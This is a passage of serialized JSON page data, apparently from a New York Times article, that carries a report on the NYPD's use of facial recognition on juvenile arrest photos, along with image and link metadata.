","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.1":{"__typename":"TextInline","text":"of the day, it should be banned — no young people,” said ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.2":{"__typename":"TextInline","text":"Councilman Donovan Richards","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.18.content.3":{"__typename":"TextInline","text":", a Queens Democrat who heads the Public Safety Committee, which oversees the Police Department. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.0":{"__typename":"TextInline","text":"The department said its legal bureau had approved using facial recognition on juveniles. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.1":{"__typename":"TextInline","text":"The algorithm may suggest a lead, but detectives would not make an arrest based solely on ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F09\u002Fopinion\u002Ffacial-recognition-police-new-york-city.html","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.2":{"__typename":"TextInline","text":"that","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.2.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.2.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F09\u002Fopinion\u002Ffacial-recognition-police-new-york-city.html","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.20.content.3":{"__typename":"TextInline","text":", Chief Shea said.","formats":[]},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm":{"id":"SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm","imageType":"photo","url":"\u002Fimagepages\u002F2019\u002F08\u002F01\u002Fnyregion\u002F00nypd-juveniles2.html","uri":"nyt:\u002F\u002Fimage\u002F5a694c3e-2066-51a1-965d-4be8779badef","credit":"Chang W. Lee\u002FThe New York Times","legacyHtmlCaption":"Dermot Shea, the city&rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match.","crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]})":[{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1","typename":"ImageCrop"}],"caption":{"type":"id","generated":true,"id":"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.caption","typename":"TextOnlyDocumentBlock"},"__typename":"Image"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg","name":"articleLarge","width":600,"height":400,"__typename":"ImageRendition"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-popup.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-popup.jpg","name":"popup","width":650,"height":433,"__typename":"ImageRendition"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg","name":"jumbo","width":1024,"height":683,"__typename":"ImageRendition"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jpg","name":"superJumbo","width":2048,"height":1365,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-popup.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleInline.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F08\u002F02\u002Fnyregion\u002F02nypdjuveniles1-print\u002Fmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleInline.jpg","name":"articleInline","width":190,"height":127,"__typename":"ImageRendition"},"Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.crops({\"renditionNames\":[\"articleLarge\",\"jumbo\",\"superJumbo\",\"articleInline\",\"popup\"]}).1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190802nyregion02nypdjuveniles1-printmerlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleInline.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Image:SW1hZ2U6bnl0Oi8vaW1hZ2UvNWE2OTRjM2UtMjA2Ni01MWExLTk2NWQtNGJlODc3OWJhZGVm.caption":{"text":"Dermot Shea, the city&rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match.","__typename":"TextOnlyDocumentBlock"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.24.content.0":{"__typename":"TextInline","text":"Still, facial recognition has not been widely tested on children. Most algorithms are taught to “think” based on adult faces, and there is growing evidence that they do not work as well on children. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.0":{"__typename":"TextInline","text":"The National Institute of Standards and Technology","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.1":{"__typename":"TextInline","text":", which is part of the Commerce Department and ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.2":{"__typename":"TextInline","text":"evaluates facial recognition ","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.2.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.2.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fnvlpubs.nist.gov\u002Fnistpubs\u002Fir\u002F2018\u002FNIST.IR.8238.pdf","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.3":{"__typename":"TextInline","text":"algorithms","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.3.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.3.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fnvlpubs.nist.gov\u002Fnistpubs\u002Fir\u002F2018\u002FNIST.IR.8238.pdf","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.4":{"__typename":"TextInline","text":" for accuracy, recently found the ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.5":{"__typename":"TextInline","text":"vast majority of more than 100 ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.6":{"__typename":"TextInline","text":"facial recognition ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.7":{"__typename":"TextInline","text":"algorithms had a higher rate of mistaken matches among children. The ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.8":{"__typename":"TextInline","text":"e","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.26.content.9":{"__typename":"TextInline","text":"rror rate was most pronounced in young children but was also seen in those aged 10 to 16.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.0":{"__typename":"TextInline","text":"Aging poses another problem:","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.1":{"__typename":"TextInline","text":" The appearance of children and adolescents can change ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.28.content.2":{"__typename":"TextInline","text":" drastically as bones stretch and shift, altering the underlying facial structure. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.0":{"__typename":"TextInline","text":"“I would use extreme caution in using those algorithms,” said ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.1":{"__typename":"TextInline","text":"Karl Ricanek Jr.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.2":{"__typename":"TextInline","text":", a computer science professor and ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.3":{"__typename":"TextInline","text":"co-founder of the Face Aging Group at the University of North Carolina-","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.4":{"__typename":"TextInline","text":"Wilmington","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.30.content.5":{"__typename":"TextInline","text":". ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.32.content.0":{"__typename":"TextInline","text":"Technology that can match an image of a younger teenager to a recent arrest photo may be less effective at finding the same person even one or two years later, he said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.34.content.0":{"__typename":"TextInline","text":" “The systems do not have the capacity to understand the dynamic changes that occur to a child’s face,” Dr. Ricanek said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.0":{"__typename":"TextInline","text":"Idemia","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.1":{"__typename":"TextInline","text":" and ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.2":{"__typename":"TextInline","text":"DataWorks Plus","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.36.content.3":{"__typename":"TextInline","text":", the two companies that provide facial recognition software to the Police Department, did not respond to requests for comment. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.0":{"__typename":"TextInline","text":"The New York Police Department can take arrest photos of minors as young as ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.1":{"__typename":"TextInline","text":"11","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.38.content.2":{"__typename":"TextInline","text":" who are charged with a felony, depending on the severity of the charge. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.40.content.0":{"__typename":"TextInline","text":"And in many cases, the department keeps the photos for years, making facial recognition comparisons to what may have effectively become outdated images. There are photos of 5,500 individuals in the juvenile database, 4,100 of whom are no longer 16 or under, the department said. Teenagers 17 and older are considered adults in the criminal justice system. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.42.content.0":{"__typename":"TextInline","text":"Police officials declined to provide statistics on how often their facial recognition systems provide false matches, or to explain how they evaluate the system’s effectiveness.","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.44.content.0":{"__typename":"TextInline","text":"“We are comfortable with this technology because it has proved to be a valuable investigative method,” Chief Shea said. Facial recognition has helped lead to thousands of arrests of both adults and juveniles, the department has said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.46.content.0":{"__typename":"TextInline","text":"Mayor Bill de Blasio had been aware the department was using the technology on minors, said Freddi Goldstein, a spokeswoman for the mayor. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.48.content.0":{"__typename":"TextInline","text":"She said the Police Department followed “strict guidelines” in applying the technology and City Hall monitored the agency’s compliance with the policies. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.0":{"__typename":"TextInline","text":"The Times learned details of the department’s use of facial recognition by reviewing documents posted online earlier this year by ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.1":{"__typename":"TextInline","text":"Clare Garvie, a senior associate","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.flawedfacedata.com\u002F#footnote5","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.2":{"__typename":"TextInline","text":" at the Center on Privacy and Technology at Georgetown Law","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.2.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.2.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.flawedfacedata.com\u002F#footnote5","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.50.content.3":{"__typename":"TextInline","text":". Ms. Garvie received the documents as part of an open records lawsuit. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.52.content.0":{"__typename":"TextInline","text":"It could not be determined whether other large police departments used facial recognition with juveniles because very few have written policies governing the use of the technology, Ms. Garvie said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.54.content.0":{"__typename":"TextInline","text":"New York detectives rely on a vast network","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.54.content.1":{"__typename":"TextInline","text":" of surveillance cameras throughout the city to provide images of people believed to have committed a crime. Since 2011, the department has had a dedicated unit of officers who use facial recognition to compare those images against millions of photos, usually mug shots. The software proposes matches, which have led to thousands of arrests, the department said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.56.content.0":{"__typename":"TextInline","text":"By 2013, top police officials were meeting to discuss including juveniles in the program, the documents reviewed by The Times showed. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.58.content.0":{"__typename":"TextInline","text":"The documents showed that the juvenile database had been integrated into the system by 2015. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.59.content.0":{"__typename":"TextInline","text":"“We have these photos. It makes sense,” Chief Shea said in the interview. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.61.content.0":{"__typename":"TextInline","text":"State law requires that arrest photos be destroyed if the case is resolved in the juvenile’s favor, or if the child is found to have committed only a misdemeanor, rather than a felony. The photos also must be destroyed if a person reaches age 21 without a criminal record. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.61.content.1":{"__typename":"TextInline","text":" ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.63.content.0":{"__typename":"TextInline","text":"When children are charged with crimes, the court system usually takes some steps to prevent their acts from defining them in later years. Children who are 16 and under, for instance, are generally sent to Family Court, where records are not public. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.65.content.0":{"__typename":"TextInline","text":"Yet including their photos in a facial recognition database runs the risk that an imperfect algorithm identifies them as possible suspects in later crimes, civil rights advocates said. A mistaken match could lead investigators to focus on the wrong person from the outset, they said. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.67.content.0":{"__typename":"TextInline","text":"“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, a 17-year-old Brooklyn girl who had admitted guilt in Family Court to a group attack that happened when she was 14. She said she was present at the attack but did not participate. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.0":{"__typename":"TextInline","text":"Bailey, who asked that she be identified only by her ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.1":{"__typename":"TextInline","text":"last name","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.69.content.2":{"__typename":"TextInline","text":" because she did not want her juvenile arrest to be public, has not been arrested again and is now a student at John Jay College of Criminal Justice. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.0":{"__typename":"TextInline","text":"R","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.1":{"__typename":"TextInline","text":"ecent studies indicate that people of color, as well as children and women, have a greater risk of misidentification than their counterparts, 